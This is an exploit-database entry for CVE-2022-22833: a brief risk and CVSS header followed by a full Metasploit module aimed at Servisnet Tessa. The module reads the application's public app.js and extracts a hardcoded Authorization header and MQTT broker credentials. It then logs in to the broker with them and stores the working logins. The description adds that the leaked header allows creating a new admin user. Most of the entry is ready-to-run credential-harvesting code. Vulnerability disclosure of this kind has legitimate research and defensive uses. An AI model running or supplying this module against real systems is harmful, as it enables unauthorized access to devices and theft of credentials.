Servisnet Tessa MQTT Credentials Dump (Unauthenticated) (Metasploit)

2022.02.20
Credit: Anonymous
Risk: High
Local: No
Remote: Yes


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/mqtt' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::MQTT include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Servisnet Tessa - MQTT Credentials Dump (Unauthenticated) (Metasploit)', 'Description' => %q( This module exploits MQTT creds dump vulnerability in Servisnet Tessa. The app.js is publicly available which acts as the backend of the application. By exposing a default value for the "Authorization" HTTP header, it is possible to make unauthenticated requests to some areas of the application. Even MQTT(Message Queuing Telemetry Transport) protocol connection information can be obtained with this method. A new admin user can be added to the database with this header obtained in the source code. The module tries to log in to the MQTT service with the credentials it has obtained, and reflects the response it receives from the service. ), 'References' => [ [ 'CVE', 'CVE-2022-22833' ], [ 'URL', 'https://pentest.com.tr/exploits/Servisnet-Tessa-MQTT-Credentials-Dump-Unauthenticated.html' ], [ 'URL', 'http://www.servisnet.com.tr/en/page/products' ] ], 'Author' => [ 'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus ], 'License' => MSF_LICENSE, 'DisclosureDate' => "Dec 22 2021", 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true } )) register_options([ OptString.new('TARGETURI', [true, 'Base path for application', '/']) ]) end # split strings to salt def split(data, string_to_split) word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/) string = word.split('"]').join('').split('["').join('') return string end def check_mqtt res = send_request_cgi({ # default.a.get( check 'uri' => normalize_uri(target_uri.path, 'js', 'app.js'), 'method' => 'GET' }) if res && res.code == 200 && res.body =~ /connectionMQTT/ data = res.body #word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/) mqtt_host = data.scan(/host: '([\S\s]*?)'/)[0][0] rhost = mqtt_host.split('mqtts://').join('') print_status("MQTT Host: #{mqtt_host}") mqtt_port = data.scan(/port: ([\S\s]*?),/)[0][0] print_status("MQTT Port: #{mqtt_port}") mqtt_end = data.scan(/endpoint: '([\S\s]*?)'/)[0][0] print_status("MQTT Endpoint: #{mqtt_end}") mqtt_cl = data.scan(/clientId: '([\S\s]*?)'/)[0][0] print_status("MQTT clientId: #{mqtt_cl}") mqtt_usr = data.scan(/username: '([\S\s]*?)'/)[1][0] print_status("MQTT username: #{mqtt_usr}") mqtt_pass = data.scan(/password: '([\S\s]*?)'/)[1][0] print_status("MQTT password: #{mqtt_pass}") print_status("##### Starting MQTT login sweep #####") # Removed brute force materials that can be included for the collection. cred_collection = Metasploit::Framework::CredentialCollection.new( password: mqtt_pass, username: mqtt_usr ) # this definition already exists in "auxiliary/scanner/mqtt/connect". Moved into exploit. cred_collection = prepend_db_passwords(cred_collection) scanner = Metasploit::Framework::LoginScanner::MQTT.new( host: rhost, port: mqtt_port, read_timeout: datastore['READ_TIMEOUT'], client_id: client_id, proxies: datastore['PROXIES'], cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: datastore['ConnectTimeout'], max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], framework: framework, framework_module: self, ssl: datastore['SSL'], ssl_version: datastore['SSLVersion'], ssl_verify_mode: datastore['SSLVerifyMode'], ssl_cipher: datastore['SSLCipher'], local_port: datastore['CPORT'], local_host: datastore['CHOST'] ) scanner.scan! do |result| credential_data = result.to_h credential_data.merge!( module_fullname: fullname, workspace_id: myworkspace_id ) password = result.credential.private username = result.credential.public if result.success? credential_core = create_credential(credential_data) credential_data[:core] = credential_core create_credential_login(credential_data) print_good("MQTT Login Successful: #{username}/#{password}") else invalidate_login(credential_data) vprint_error("MQTT LOGIN FAILED: #{username}/#{password} (#{result.proof})") end end end end def auth_bypass res = send_request_cgi({ # default.a.defaults.headers.post["Authorization"] check 'uri' => normalize_uri(target_uri.path, 'js', 'app.js'), 'method' => 'GET' }) if res && res.code == 200 && res.body =~ /default.a.defaults.headers.post/ token = split(res.body, 'Authorization') print_status("Authorization: #{token}") return token else fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end end def check if auth_bypass =~ /Basic/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def run unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end check_mqtt end end


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